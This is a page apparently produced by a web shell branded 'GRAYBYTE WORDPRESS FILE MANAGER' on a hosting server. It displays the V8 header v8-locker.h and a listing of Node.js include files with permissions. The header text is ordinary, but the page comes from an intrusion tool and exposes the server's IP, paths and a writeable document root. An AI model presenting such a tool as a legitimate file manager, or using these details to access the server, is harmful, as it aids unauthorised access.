$35 GRAYBYTE WORDPRESS FILE MANAGER $51

SERVER : vnpttt-amd7f72-h1.vietnix.vn #1 SMP Fri May 24 12:42:50 UTC 2024
SERVER IP : 103.200.23.149 | ADMIN IP 216.73.216.22
OPTIONS : CRL = ON | WGT = ON | SDO = OFF | PKEX = OFF
DEACTIVATED : NONE

/opt/cpanel/ea-nodejs22/include/node/

HOME
Current File : /opt/cpanel/ea-nodejs22/include/node//v8-locker.h
// Copyright 2021 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

#ifndef INCLUDE_V8_LOCKER_H_
#define INCLUDE_V8_LOCKER_H_

#include "v8config.h"  // NOLINT(build/include_directory)

namespace v8 {

namespace internal {
class Isolate;
}  // namespace internal

class Isolate;

/**
 * Multiple threads in V8 are allowed, but only one thread at a time is allowed
 * to use any given V8 isolate, see the comments in the Isolate class. The
 * definition of 'using a V8 isolate' includes accessing handles or holding onto
 * object pointers obtained from V8 handles while in the particular V8 isolate.
 * It is up to the user of V8 to ensure, perhaps with locking, that this
 * constraint is not violated. In addition to any other synchronization
 * mechanism that may be used, the v8::Locker and v8::Unlocker classes must be
 * used to signal thread switches to V8.
 *
 * v8::Locker is a scoped lock object. While it's active, i.e. between its
 * construction and destruction, the current thread is allowed to use the locked
 * isolate. V8 guarantees that an isolate can be locked by at most one thread at
 * any time. In other words, the scope of a v8::Locker is a critical section.
 *
 * Sample usage:
 * \code
 * ...
 * {
 *   v8::Locker locker(isolate);
 *   v8::Isolate::Scope isolate_scope(isolate);
 *   ...
 *   // Code using V8 and isolate goes here.
 *   ...
 * } // Destructor called here
 * \endcode
 *
 * If you wish to stop using V8 in a thread A you can do this either by
 * destroying the v8::Locker object as above or by constructing a v8::Unlocker
 * object:
 *
 * \code
 * {
 *   isolate->Exit();
 *   v8::Unlocker unlocker(isolate);
 *   ...
 *   // Code not using V8 goes here while V8 can run in another thread.
 *   ...
 * } // Destructor called here.
 * isolate->Enter();
 * \endcode
 *
 * The Unlocker object is intended for use in a long-running callback from V8,
 * where you want to release the V8 lock for other threads to use.
 *
 * The v8::Locker is a recursive lock, i.e. you can lock more than once in a
 * given thread. This can be useful if you have code that can be called either
 * from code that holds the lock or from code that does not. The Unlocker is
 * not recursive so you can not have several Unlockers on the stack at once, and
 * you cannot use an Unlocker in a thread that is not inside a Locker's scope.
 *
 * An unlocker will unlock several lockers if it has to and reinstate the
 * correct depth of locking on its destruction, e.g.:
 *
 * \code
 * // V8 not locked.
 * {
 *   v8::Locker locker(isolate);
 *   Isolate::Scope isolate_scope(isolate);
 *   // V8 locked.
 *   {
 *     v8::Locker another_locker(isolate);
 *     // V8 still locked (2 levels).
 *     {
 *       isolate->Exit();
 *       v8::Unlocker unlocker(isolate);
 *       // V8 not locked.
 *     }
 *     isolate->Enter();
 *     // V8 locked again (2 levels).
 *   }
 *   // V8 still locked (1 level).
 * }
 * // V8 Now no longer locked.
 * \endcode
 */
class V8_EXPORT Unlocker {
 public:
  /**
   * Initialize Unlocker for a given Isolate.
   */
  V8_INLINE explicit Unlocker(Isolate* isolate) { Initialize(isolate); }

  ~Unlocker();

 private:
  void Initialize(Isolate* isolate);

  internal::Isolate* isolate_;
};

class V8_EXPORT Locker {
 public:
  /**
   * Initialize Locker for a given Isolate.
   */
  V8_INLINE explicit Locker(Isolate* isolate) { Initialize(isolate); }

  ~Locker();

  /**
   * Returns whether or not the locker for a given isolate, is locked by the
   * current thread.
   */
  static bool IsLocked(Isolate* isolate);

  // Disallow copying and assigning.
  Locker(const Locker&) = delete;
  void operator=(const Locker&) = delete;

 private:
  void Initialize(Isolate* isolate);

  bool has_lock_;
  bool top_level_;
  internal::Isolate* isolate_;
};

}  // namespace v8

#endif  // INCLUDE_V8_LOCKER_H_

Current_dir [ NOT WRITEABLE ] Document_root [ WRITEABLE ]


[ Back ]
NAME
SIZE
LAST TOUCH
USER
CAN-I?
FUNCTIONS
..
--
1 Jan 1970 8.00 AM
root / root
0
cppgc
--
16 Mar 2026 5.04 PM
root / root
0755
libplatform
--
16 Mar 2026 5.04 PM
root / root
0755
openssl
--
16 Mar 2026 5.04 PM
root / root
0755
uv
--
16 Mar 2026 5.04 PM
root / root
0755
common.gypi
26.594 KB
17 Jan 2026 1.16 AM
root / root
0644
config.gypi
32.077 KB
17 Jan 2026 1.16 AM
root / root
0644
js_native_api.h
31.64 KB
17 Jan 2026 1.16 AM
root / root
0644
js_native_api_types.h
6.868 KB
17 Jan 2026 1.16 AM
root / root
0644
node.h
67.989 KB
17 Jan 2026 1.16 AM
root / root
0644
node_api.h
10.344 KB
17 Jan 2026 1.16 AM
root / root
0644
node_api_types.h
1.565 KB
17 Jan 2026 1.16 AM
root / root
0644
node_buffer.h
3.598 KB
17 Jan 2026 1.16 AM
root / root
0644
node_object_wrap.h
3.776 KB
17 Jan 2026 1.16 AM
root / root
0644
node_version.h
4.144 KB
17 Jan 2026 1.16 AM
root / root
0644
uv.h
71.104 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-array-buffer.h
17.887 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-callbacks.h
16.595 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-container.h
5.819 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-context.h
17.758 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-cppgc.h
7.462 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-data.h
1.585 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-date.h
1.189 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-debug.h
5.04 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-embedder-heap.h
2.71 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-embedder-state-scope.h
1.458 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-exception.h
7.411 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-extension.h
1.826 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-external.h
0.902 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-forward.h
1.648 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-function-callback.h
19.188 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-function.h
4.424 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-handle-base.h
4.301 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-initialization.h
10.232 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-internal.h
57.221 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-isolate.h
63.385 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-json.h
1.324 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-local-handle.h
23.596 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-locker.h
3.863 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-maybe.h
4.467 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-memory-span.h
6.271 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-message.h
7.244 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-microtask-queue.h
4.95 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-microtask.h
0.841 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-object.h
29.552 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-persistent-handle.h
17.812 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-platform.h
47.902 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-primitive-object.h
2.53 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-primitive.h
27.693 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-profiler.h
41.114 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-promise.h
5.17 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-proxy.h
1.226 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-regexp.h
3.097 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-script.h
30.593 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-snapshot.h
10.146 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-source-location.h
2.536 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-statistics.h
7.448 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-template.h
50.36 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-traced-handle.h
12.402 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-typed-array.h
11.3 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-unwinder.h
4.64 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-value-serializer.h
10.562 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-value.h
16.706 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-version.h
0.755 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-wasm.h
6.004 KB
17 Jan 2026 1.16 AM
root / root
0644
v8-weak-callback-info.h
2.413 KB
17 Jan 2026 1.16 AM
root / root
0644
v8.h
3.687 KB
17 Jan 2026 1.16 AM
root / root
0644
v8config.h
32.853 KB
17 Jan 2026 1.16 AM
root / root
0644
zconf.h
16.597 KB
17 Jan 2026 1.16 AM
root / root
0644
zlib.h
95.17 KB
17 Jan 2026 1.16 AM
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME
Static GIF